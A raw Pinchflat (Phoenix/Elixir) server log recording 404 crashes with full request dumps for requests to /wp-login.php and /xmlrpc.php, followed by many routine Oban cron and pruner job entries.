\"Google Chrome\";v=\"143\", \"Chromium\";v=\"143\"", "sec-ch-u (truncated) 08:10:55.590 [info] GET /wp-login.php 08:10:55.590 [debug] QUERY OK source="settings" db=0.1ms idle=1896.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:10:55.591 [debug] QUERY OK source="settings" db=0.1ms idle=1338.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:10:55.591 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:10:55.591 [error] #PID<0.16906.0> running PinchflatWeb.Endpoint (connection #PID<0.16905.0>, stream id 1) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /wp-login.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16905.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-login.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 39596}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.8layer8.com", "sec-ch-ua" => "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"143\", \"Chromium\";v=\"143\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16906.0>, params: %{}, path_info: ["wp-login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.8layer8.com"}, {"sec-ch-ua", "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"143\", \"Chromium\";v=\"143\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/wp-login.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGdRs4DnGOkBV8AB9EB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16905.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-login.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 39596}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.8layer8.com", "sec-ch-ua" => "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"143\", \"Chromium\";v=\"143\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16905.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-login.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 39596}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.8layer8.com", "sec-ch-ua" => "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"143\", \"Chromium\";v=\"143\"", (truncated) 08:10:56.521 [info] GET /xmlrpc.php 08:10:56.522 [debug] QUERY OK source="settings" db=0.2ms idle=1828.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:10:56.522 [debug] QUERY OK source="settings" db=0.1ms idle=1268.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:10:56.522 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:10:56.523 [error] #PID<0.16907.0> running PinchflatWeb.Endpoint (connection #PID<0.16905.0>, stream id 2) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /xmlrpc.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /xmlrpc (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16905.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/xmlrpc.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 39596}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.8layer8.com", "sec-ch-ua" => "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"143\", \"Chromium\";v=\"143\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.16907.0>, params: %{}, path_info: ["xmlrpc"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.8layer8.com"}, {"sec-ch-ua", "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"143\", \"Chromium\";v=\"143\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/xmlrpc.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKGdRwWH-r-yD6MAB9GB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16905.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/xmlrpc.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 39596}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.8layer8.com", "sec-ch-ua" => "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"143\", \"Chromium\";v=\"143\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /xmlrpc (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.16905.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/xmlrpc.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 39596}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.8layer8.com", "sec-ch-ua" => "\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"143\", \"Chromium\";v=\"143\"", "sec-ch-u (truncated) 08:11:00.454 [info] {"source":"oban","duration":278,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:11:19.210 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:49.211 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:00.455 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:12:19.213 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:49.214 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:00.456 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:13:19.215 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:49.216 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:00.457 [info] {"source":"oban","duration":86,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:14:19.217 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:49.219 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:00.458 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:15:19.221 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:49.222 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:00.459 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:16:19.223 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:49.224 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:00.460 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:17:19.225 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:49.226 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:00.461 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:18:19.227 [info] {"source":"oban","duration":919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:49.229 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:00.463 [info] {"source":"oban","duration":416,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:19:19.230 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:49.232 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:00.463 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:20:19.233 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:49.235 [info] {"source":"oban","duration":855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:00.464 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:21:19.237 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:49.238 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:00.465 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:22:19.239 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:22:49.241 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:00.466 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:23:19.242 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:23:49.243 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:00.467 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:24:19.244 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:24:49.245 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:00.468 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:25:19.246 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:25:49.247 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:00.469 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:26:19.248 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:26:49.249 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:00.471 [info] {"source":"oban","duration":363,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:27:19.250 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:27:49.252 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:00.471 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:28:19.253 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:28:49.254 [info] {"source":"oban","duration":891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:00.472 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:29:19.256 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:29:49.257 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:00.473 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:30:19.258 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:30:49.259 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:00.475 [info] {"source":"oban","duration":272,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:31:19.260 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:31:49.261 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:00.475 [info] {"source":"oban","duration":320,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:32:19.262 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:32:49.264 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:00.476 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:33:19.265 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:33:49.266 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:00.477 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:34:19.267 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:34:49.268 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:00.478 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:35:19.269 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:35:49.270 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:00.479 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:36:19.272 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:36:49.273 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:00.480 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:37:19.274 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:37:49.275 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:00.481 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:38:19.276 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:38:49.277 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:00.482 [info] {"source":"oban","duration":320,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:39:19.278 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:39:49.279 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:00.483 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:40:19.280 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:40:49.281 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:00.484 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:41:19.282 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:49.283 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:00.485 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:42:19.284 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:49.285 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:00.487 [info] {"source":"oban","duration":365,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:43:19.287 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:49.288 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:00.487 [info] {"source":"oban","duration":315,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:44:19.289 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:49.291 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:00.488 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:45:19.292 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:49.293 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:00.489 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:46:19.294 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:49.295 [info] 